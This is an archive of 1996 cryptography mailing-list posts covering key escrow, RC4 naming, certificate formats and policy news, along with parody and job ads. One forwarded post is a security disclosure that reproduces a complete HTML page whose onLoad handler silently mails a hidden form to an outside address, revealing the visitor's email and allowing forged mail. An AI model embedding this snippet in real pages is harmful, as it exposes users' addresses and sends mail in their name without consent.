by Bill Stewart 17 Dec '03

17 Dec '03

At 03:53 PM 2/24/96 -0500, Adam Shostack <adam(a)homeport.org> wrote: > If someone shows up, having read the sci.crypt FAQ and/or >Applied Cryptography, I think that their questions will be answered >without flames. But if people fail to read whats out there, and want >to be spoon fed, well, thats another matter. Even if they want to be spoon fed, they'll get a fair bit of tolerance here, though they'll get pointed at the FAQs and books. sci.crypt is another good place. Everybody's a newbie once; lack of knowledge is just an opportunity. It's folks who show up saying "I've got an unbreakable cryptosystem, nyahh, nyahh, and it doesn't even use any algorithms, and it's so proprietary you can't see it" that get flamed, and who try to sell snake oil while claiming it's the hottest thing since pseudo-random number generators. [ SERIOUS OFF, NOISE ON ] Meanwhile, I've got the franchise for Dogbert's Value-Priced One Time Pads, and if you're Success-Oriented enough to understand Network Marketing, I can help you build your downline and Make E-Money Fast. Just send three KB of random bits to every email address on the list, add your own name and the name of your co-conspirator to the bottom, and send copies to all your security-conscious friends. Within a few weeks, you'll have a lifetime supply of one-time pads for all your paranoia needs! random(a)sales.dnrc.gov padmaster(a)dockmaster.ncsc.mil cypherwonks(a)l.d.com procurement(a)potp.com richelieu(a)surete.gov.fr stewarts(a)ix.netcom.com #-- # Thanks; Bill # Bill Stewart, stewarts(a)ix.netcom.com / billstewart(a)attmail.com +1-415-442-2215 # http://www.idiom.com/~wcs Pager +1-408-787-1281

1 0

Re: Remember, RC4 is now PC1
by Bill Stewart 17 Dec '03

17 Dec '03

At 10:19 AM 2/24/96 -0800, jamesd(a)echeque.com wrote: >>From now, instead of saying "RC4" let us say "PC1, (formerly known as RC4)" .. >Every time you say RC4 without saying "Trademark of some bunch of >lawyer scum" you theoretically break the lawyer made law. So let us >stop doing it. Serve them right. You can always call it "Ron's Code 4" or "Rivest's Code 4" or whatever. #-- # Thanks; Bill # Bill Stewart, stewarts(a)ix.netcom.com / billstewart(a)attmail.com +1-415-442-2215 # http://www.idiom.com/~wcs Pager +1-408-787-1281

3 2

proposed certificate format
by cme＠cybercash.com 17 Dec '03

17 Dec '03

In another forum, at 10:37 2/25/96, Bill Sommerfeld wrote: >Subject: Re: encodings: do we need binary at all? >I think the whole discussion of encoding is premature at >this stage; let's decide on *what* we want to encode, and only *then* >decide *how* to encode it. To that end, I've written up in detail the kind of certificate content I would like us to consider. It is represented as ASCII encoding [tag: value], but that is just for convenience in this discussion. The detail description is in http://www.clark.net/pub/cme/html/cert.html and I can e-mail it to anyone without web access. Specifically, I believe there are shortcomings in X.509 and even worse ones in PGP signed keys and I'm proposing a certificate structure to overcome those shortcomings. - Carl +--------------------------------------------------------------------------+ |Carl M. Ellison cme(a)cybercash.com http://www.clark.net/pub/cme | |CyberCash, Inc., Suite 430 http://www.cybercash.com/ | |2100 Reston Parkway PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 | |Reston, VA 22091 Tel: (703) 620-4200 | +--------------------------------------------------------------------------+

1 0

Proposed Legislation Regualting Expert Testimony
by Bullwinkle J. Moose 17 Dec '03

17 Dec '03

The following is an excerpt from a bill proposed to become law in the State of New Mexico. (It did not succeed.) I wonder if the same sort of thing should be enacted to apply to the testimony of economists? "A BILL REGULATING EXPERT TESTIMONY IN COURTS. BILL____. AN ACT RELATING TO EXPERT TESTIMONY IN COURTS; REGULATING THE TESTIMONY OF CRYPTOLOGISTS AND COMPUTER EXPERTS IN THE HEARINGS OF CRIMINAL DEFENDANTS IN COURTS; BE IT ENACTED BY THE LEGISLATURE OF THE STATE OF NEW MEXICO; When a cryptologist or computer expert testifies during a criminal defendant's penalty hearing, the cryptologist or computer expert shall wear a cone-shaped hat no less than two feet in height for the duration of the hearing. The surface of the hat shall be imprinted with stars, moons and lightning bolts. Additionally, the cryptologist or computer expert shall be required to wear a white beard no less than eighteen inches in length for the duration of the hearing. The cryptologist or computer expert shall punctuate crucial elements of his testimony by stabbing at the air with a wand no less than one foot in length. Whenever a cryptologist or computer expert provides expert testimony regarding the defendant's methods, the bailiff of the court shall dim the lights of the court room and shall administer two strikes to a Chinese gong." __________________________________________________________________ Out the buffer, | PGP encrypted e-mail welcome! Through the com port, | Finger for Public Key. Over the POTS line, | Also available on a key server near you. Into the NT Box, | Up the fractional T1, | Key ID: 0x457AA6BD Onto the backbone, | Keyprint: 99 C7 17 3B 32 08 3F 17 Nothin' but Net. | F4 A9 42 A9 2F BC 39 B1 ------------------------------------------------------------------

1 0

R.U. Sirius @ St. Jude at Club Wired
by Jon Lebkowsky 17 Dec '03

17 Dec '03

R.U. SIRIUS AND ST. JUDE AT CLUB WIRED Electronic Frontiers Forum Thursday, Feb 29, 1996, 7PM PST (10PM EST) http://www.hotwired.com/club or telnet://chat.wired.com:2428 R.U. Sirius and St. Jude were at the cutting edge of cyberactivism while editing Mondo 2000, among the first publications to acknowledge issues of privacy, cryptography, access, and censorship online. More recently they've created The Mutate Project, a spinoff from their "anti-novel" How to Mutate and Take Over the World, a semifictional work passing revolutionary memes and supporting opposition to whatever oppressive forces might serve to clamp down on the Temporary Autonomous Zone of the Internet. They'd prefer a full-bore Permanent Autonomous Zone. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Jon Lebkowsky <jonl(a)well.com> http://www.well.com/~jonl Electronic Frontiers Forum, 7PM PST Thursdays <http://www.hotwired.com/club>

1 0

Re: How to digitally watermark
by E. ALLEN SMITH 17 Dec '03

17 Dec '03

>Adam Shostack <adam(a)homeport.org> wrote.. >>Creating watermarks that can't be removed without degrading >>image quality is not especially difficult. The two tricky bits are >>durability and collusion protection. The difficulty I can see is with the "without degrading image quality" part. Given ever-improving image enhancement and processing techniques, someone probably could - or at least will be able to in the near future - take any image in which the watermark didn't degrade the image by itself and remove the watermark without _perceptible_ alterations in image quality. >I hope someone, somewhere finds this interesting... Yes, actually; I was just at a seminar on computer image interpretation for the biomedical field. -Allen

1 0

Edited Edupage, 25 Dec 1996
by E. ALLEN SMITH 17 Dec '03

17 Dec '03

From: IN%"educom(a)elanor.oit.unc.edu" 25-FEB-1996 20:33:13.72 >***************************************************************** >Edupage, 25 February 1996. Edupage, a summary of news items on information >technology, is provided three times each week as a service by Educom, >a Washington, D.C.-based consortium of leading colleges and universities >seeking to transform education through the use of information technology. >***************************************************************** One wonders if they're trying this for all internet providers (unenforcable), or just the ones setting up in that province (they'll leave). >TAX MAN TARGETS CYBERSPACE >The Nova Scotia government announced the province's 11% sales tax will be >applied to Internet services, including flat monthly charges, time charges >and registration, effective March 1. (Toronto Globe & Mail 23 Feb 96 B3) Anyone know anything more about this? >CASHLESS SOCIETY TO COST GOVERNMENTS >A report prepared for the Bank of Canada says that the advent of the >cashless society could cost the federal government hundreds of millions of >dollars annually through a drop in the use of coins and bank notes that >generate monopoly royalties for the central bank. (Toronto Financial Post >21 Feb 96 p1) >Edupage is written by John Gehl (gehl(a)educom.edu) & Suzanne Douglas >(douglas(a)educom.edu) Voice: 404-371-1853, Fax: 404-371-8057. >*************************************************************** >EDUPAGE is what you've just finished reading. To subscribe to Edupage: send >a message to: listproc(a)educom.unc.edu and in the body of the message type: >subscribe edupage Jean-Luc Godard (assuming that your name is Jean-Luc >Godard; if it's not, substitute your own name). ... To cancel, send a >message to: listproc(a)educom.unc.edu and in the body of the message type: >unsubscribe edupage. (Subscription problems? Send mail to >educom(a)educom.unc.edu.)

2 1

JavaScript to grab e-mail <explained> (fwd)
by Alan Olsen 17 Dec '03

17 Dec '03

This is something that i had not seen posted here as of yet. (Sorry if it has. My mail feed has been suffering from altzheimers as of late and getting progressivly worse...) Crypto Relevance: None Privacy Relevance: Lots This was forwarded to me by the "CGI Guy" at Teleport. I had heard this was possible. I was quite surprised to find just how *easy* this is! I can see a number of creative (and scary) uses for this little hack. (This makes JavaScript seem more like a coffee enema.) --------- Forwarded message --------------- >Well, here it is... I've been yelling about Netscape's use of the >action="maito:user@place.com" for a long time. By clicking on a submit >button (with any name) you can grab the user's email address, sig file >and other prefs. > >JavaScript in Netscape 2.0 removes the necessary "click." I'm sending >visitors to my site a notification of this problem. > >Robert Muhlestein >Teleport Creative Services >CGI Guy >cgi(a)teleport.com > >---------- Forwarded message ---------- >Date: Mon, 26 Feb 1996 16:52:30 +0100 >From: Lincoln Stein <lstein(a)kaa.crbm.cnrs-mop.fr> >To: www-managers(a)lists.stanford.edu, www-security(a)ns2.rutgers.edu >Cc: lstein(a)pico.crbm.cnrs-mop.fr >Subject: Re: JavaScript to grab e-mail <explained> > >I just had a look at the e-mail scamming script (URL >http://www.popco.com/grabtest.html) It's quite simple. Here's the >complete text: > ><HTML> ><HEAD> ></HEAD> ><BODY onLoad="document.mailme.submit()"> > ><form method=post name="mailme" > action="mailto:reply@simenon.popco.com?subject=scammed address"> > ><h3>Viewing this page automatically submits email to an >address which then sends you back email to prove it grabbed the message.</h3> > ><input type=hidden name="scammed.the.address" value="did it"> ></form> > ></BODY> ></HTML> > >Basically what the script does is to make the browser submit e-mail to >the indicated mailto: URL. When the mail is sent, the user's reply >address is included as a matter of course. > >The good news is that this does _not_ represent a general security >hole in JavaScript itself. I was concerned that someone had >discovered a way to make JavaScript divulge such browser secrets as >the contents of the disk cache, history list, or newsgroup >subscriptions. > >The bad news is that this technique can be used as a general Internet >e-mail forgery system. Anybody accessing a particular page will >unwittingly mail out an e-mail message, whose recipient, subject and >message body are all under the control of the JavaScript author. If >the message is traced back, it will be found to have originated from >the user's machine. > >Lincoln > > --- Alan Olsen -- alano(a)teleport.com -- Contract Web Design & Instruction `finger -l alano(a)teleport.com` for PGP 2.6.2 key http://www.teleport.com/~alano/ "We had to destroy the Internet in order to save it." - Sen. Exon "I, Caligula Clinton... In the name of the Senate and the people of Rome!" - Bill Clinton signing the CDA with the First Amendment bent over.

1 0

Wanted: Win95/NT C++/Crypto Contractor
by John Pettitt 17 Dec '03

17 Dec '03

Must have: Good C++ skills Have shipped real code to real users Ability to work unsupervised Understanding of networking (TCP/IP) and World Wide Web (HTTP) Crypto experience (probably RSA BSAFE - we are still choosing). Must be able to cite references for the above! Rate and location negotiable - SF Bay / Silicon Valley preferred. Contact: John Pettitt VP Engineering CyberSource Corporation 1050 Chestnut St #201 Menlo Park CA 94025 Fax 415 473 3066 jpp(a)software.net please send resumes as ASCII, MS Word, HTML/URL or PostScript only! P.S. Please don't bug me on the phone!

1 0

Encrypted Communications Privacy Act
by Jim Gillogly 17 Dec '03

17 Dec '03

Looks like good news for a change... Senator Leahy is expected to introduce a bill tomorrow with some of the following language; no S-number as yet. -------------------------------------------------------------------------- "It is the purpose of the Act: (1) to ensure that Americans are able to choose the most appropriate encryption method to protect the security, confidentiality, and privacy of their lawful wire or electronic communications; and (2) to establish privacy standards for key holders who are voluntarily entrusted with the means to decrypt such communications, and procedures by which investigative or law enforcement officers may obtain assistance in decrypting such communications." AND: "Nothing in this Act or the ammendments made by this Act shall be construed to: (1) require the use by any person of any form of encryption; (2) limit or affect the ability of any person to use encryption without a key escrow function; or (3) limit or affect the ability of any person who choses to use encryption with a key escrow function not to use a key holder." -------------------------------------------------------------------------- Jim Gillogly Hevensday, 7 Rethe S.R. 1996, 00:06

1 0

Re: TIS--Building in Big Brother for a Better Tommorrow
by anonymous-remailer＠shell.portal.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- On 22 Feb 96, John Young wrote and quoted Steve Walker: > To supplement TIS's Web site information on CKE, here's a > mailing from Steve Walker earlier this month: > > > TRUSTED INFORMATION SYSTEMS, INC. > > February 2, 1996 > > > There has been amazing progress on TIS's Commercial Key > Escrow (CKE) initiative since my last status report. <groan> > By adding CKE technology to our firewalls, the Gauntlet > system with DES and CKE now meets the U.S. government > requirements for export to most parts of the world. Oh, goody! > While this temporary export license has limitations (there > must be a Data Recovey Center in the U.S.... It's GAK (GAK!). Instead of one arm of the government supposedly holding keys safe from unauthorized access by another arm of the government, it will be a duly approved, registered, regulated repository holding keys safe from unauthorized access by an arm of the government. Just like banks protect customers' funds and privacy... Gee! It sure sounds like utopia to me... utopia for government. Does anyone know of ANY regulated industry that exists at the pleasure of the government that also strenuously defends its customers' rights against government efforts? I think not. > ...it represents the first export approval of a DES-based key > escrow encryption system, a small step... ...backward. > ...the private sector's need for encryption protection and > governments' needs to be able to decrypt the communications > of criminals, terrorists, and other adversaries... There is no difference between the justification for this and what was offered to justify Clipper. "Other adversaries," like those who want to keep their affairs private, or wish to live free in an increasingly unfree world? I think I'm gonna puke. > Other meetings will follow, but it appears that most major > governments endorse the U.S. government's user-controlled > key escrow initiative as the only practical way through the > cryptography maze. I AM gonna puke. Of COURSE most governments will go for this! The practical effect is essentially the same as if all paper mail were to be machine-copied and archived, only accessible with a "proper court order." Even though the government can go after your mail now, lawfully or UNlawfully, if they don't, it's gone -- it has no persistence in any system not under the control of sender or receiver, and as a practical matter ALL paper mail cannot be copied and archived by any third party. However, e-mail is rapidly replacing paper mail and some supposed advocates of crypto are helping the government ensure that MAIL of the future will have the potential to be a persistent "e-trail," something that paper mail could never be. > In mid-January, Microsoft announced its long-awaited > Cryptographic Application Programming Interface (CAPI). This > development promises to finally provide a well-defined > separation between applications calling on cryptography and > the actual performance of the cryptography. Now users will be > able to request cryptographic functions in hundreds of > applications and select precisely which cryptography to use > at the time of program execution rather than program > purchase. Yeah, I guess all the programmers in the world who DON'T work for Microsloth are just too darned stupid to have conceived of any such separation. Thank goodness MS made this possible! Now we can dispense with all those foolish delusions we once harbored and admit that all the DOS offline mail readers in the world that supported a configurable editor only *appeared* to interface to third-party crypto modules via editor interface layers... Now we can admit that we were mistaken in believing that Pegasus Mail was trivially equipped with a generic crypto interface and that an interface layer to PGP was released by another party within weeks... > Cryptographic Service Providers (CSPs) can now > evolve independent of applications, and users can choose > whatever cryptography is available wherever they are in the > world. TIS is working closely with CSP vendors to ensure that > CSPs with good cryptography are available in domestic and > exportable versions as soon as possible based on the U.S. > government's key escrow initiative. What self-serving bullshit. > We would now have widespread use of encryption, both > domestically and worldwide; we would be in a state of > "Utopia," with widespread availability of cryptography with > unlimited key lengths. But, once in this state, we will face > situations where we need a file that had been encrypted by an > associate who is unavailable (illness, traffic jam, or change > of jobs). Yeah, this is a really good reason to flush privacy in communications down the toilet of subservience to limitless government. Really. > + Then in 1995, the U.S. government announced its key > escrow initiative: allow the export of up to 64-bit > cryptography (a remarkable concession) when accompanied > by an acceptable form of user-controlled key escrow > (critical component to this policy being that "an > acceptable escrow system" must have sufficient integrity > to give the government confidence that, with a warrant, > the keys will be available.)... Of course. A remarkable arrogation of power rather than a concession: Laying the foundation for ALL communications to be available with a warrant, something the government has NEVER in its history enjoyed. > Some in the computer industry labeled this just another > form of Clipper and vowed to continue the fight against > U.S. government regulation of encryption in any form -- > presumably forever. They were right and you are wrong in asserting that it would be "forever." These things solve themselves in time as long as there is a plurality of political systems and national interests on the planet. No government on earth can long stand against irresistible forces. > On the other hand, once the new escrowed encryption policy > was announced, U.S. government agencies -- the FBI, NSA, > White House, DoD, DoJ, NIST, and NSC -- closed ranks behind > it and have shown little interest in discussing any other > approaches. Sure. So throw in the towel, eh? If you can't fight 'em, JOIN 'em. Right? <puke> > In addition, neither political party has shown > any interest in taking up the argument in the Congress, > probably because it is a complex issue and there is no > obvious "winning" position. That may be a compelling argument in favor of finding ways to send wakeup calls to the political machinery -- the kinds of calls that cause severe loss of sleep and the eruption of multitudinous beads of sweat -- but it is HARDLY an argument in favor of signing on, as it were, to GAK. > But, depending upon how the definition of user-controlled key > escrow is resolved, the new escrow policy could just be the > long-sought compromise between government and industry that > gets us through this morass. What you mean, "Us," kimosabe? This whole piece you've written is a superficial rationalization for shitcanning principle when it is placed in opposition to corporate survival by presumed higher authority. If this is the "long-sought compromise" that "gets us through this morass," it is a textbook example of the "turd in the punchbowl" dilemma. How small a turd will you compromise on before you will consider the punch fit to drink? Rather a large one, evidently. Then again, this could be because you see yourself more as a purveyor of punch than an imbiber. History repeats itself. Endlessly. > + If we can ensure that organizations can control the > security of backup access to their encrypted information > through well-designed commercial key recovery systems -- > yet also ensure that governments have access when > justified via normal legal procedures -- we may have > truly found the "Ultimate Utopia" solution to a dilemma > that has existed all of our professional lives and > threatens to continue through the next generation... What on earth gives you the idea that anyone outside government wants to "ensure that governments have access when justified?" Most individuals would prefer to have and use the means to ensure that *no one* has access to their private communications, "justified" or not. More death, torture, mulilation, incarceration and confiscation have been perpetrated by governments "justified" by laws valid in their time and place than all the harm ever done by all the private individuals in history. What is today's "justification" could well become tomorrow's crime against humanity. > Thus, in my thought experiment I have come to the > conclusion that we (industry and government) are all > heading towards the same objective... If you're right, then maybe the whole thing needs to be dismantled and built again from the ground up. Really. > ...but on a different path from what some of us originally > wanted. Yes -- the path of totalitarianism, apparently. > Yet, to my way of thinking, that path has to accomodate us > all if we are ever to arrive at any mutually agreeable > destination. False. Suppose you and your spouse wish to remain inviolate but the guy in the ski mask wants to sodomize you both? To your way of thinking, "that path has to accomodate us all if we are ever to arrive at any mutually agreeable destination." Good fucking luck. > When one group of participants raises insurmountable barriers > for another group, it simply blocks everyone from progressing > down any path, and the net result is that U.S. industry is > not able to export any good crypto-based security. Although it's possible this may never have occurred to you, maybe those who want to see strong crypto freely available would prefer that as long as the U.S. insists on maintaining self-destructive crypto policies they impact U.S. industry and provide incentive for foreign crypto development rather than see U.S. industry crawl supine and subservient to lick the shoes of bureaucrats who are, after all, our employees and (supposedly) our SERVANTS. What you are doing is going into agreement with the government and helping to take the pressure off the government, when what is really called for is a firm stand that keeps the responsibility for the consequences squarely where it belongs: on government hands. Caving while pretending to adhere to principle fosters that to which one caves. Standing firm is much more likely to force a change. You've CHOSEN to be in a business whose market reach is at the pleasure of the government. Not satisfied with the reach allowed you, you jump through quite a few logical hoops to rationalize why it's ok to tailor principle to the necessities attendant to navigating the obstacles to which you voluntarily made yourself subject in the first place. Perhaps you can see why I wouldn't trust you with the keys to my car, much less my communications? > We at TIS are dedicated to finding a solution acceptable to > all sides. We ask your help in this struggle. If you want > exportable cryptography routinely available in your lifetime > and believe that user-controlled key recovery is an > important, if not vital, capability... The two have no natural connection. The unnatural connection is created by government policy. As with the unnatural connection established by a kidnapper between failure to meet the demands and damage to the victim, you grant it legitimacy to the extent that you cave to it. As far as exportable crypto in [our] lifetime... that will take care of itself without your help. What you are doing will DELAY it by appearing to address important issues while in reality severely damaging the principle of maintaining freedom of encryption by helping to establish a system in which that freedom will not exist. > If you want to integrate exportable CKE into your product > line, we are ready to help. Thanks, but no thanks. > If you want to buy internationally deployable good > cryptography with your favorite applications, tell your > application vendor you want escrow-enabled applications. No way, Jose! Most people who want it have access to PGP now, and already are using it with their favorite applications. The future can offer only more and better, regardless of present government policies. Pegasus Mail showed that integration is not a big deal if the software originates outside the U.S., so the direction is established and obvious: As the many millions of programmers around the world develop more and more advanced applications, those apps increasingly will tend to have crypto interfaces. Those interested in crypto will buy foreign products. In the ABSENCE of efforts such as yours, the pressure on the U.S. government would rapidly become irresistible. > We all have an opportunity to make a major difference here. Yes indeed, and I have not the slightest desire to help you help the government institutionalize a bad policy. > Sincerely, > Stephen T. Walker Stephen, you've gotten carried away with yourself. "Ultimate Utopia" indeed! I'm reminded of the validity of the communist quip that capitalists will sell them the rope with which to hang the capitalists. Seems there is some truth to that. We Jurgar Din (that will have to suffice: I do not yet live in a free country) +"The battle, Sir, is not to the strong alone. It is to the+ +vigilant, the active, the brave. Besides, Sir, we have no + +election. If we were base enough to desire it, it is now + +too late to retire from the contest." -Patrick Henry 1775 + -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBMTIbaEjw99YhtpnhAQFJ3gH/U532RzeENe1SbI2B4LCxXZCJYwksYipC fSFsAX4hCudT9BBYc/wuGGle/TvejQuIChR8qoxw7sjIip4IWHakdw== =x1iC -----END PGP SIGNATURE-----

1 0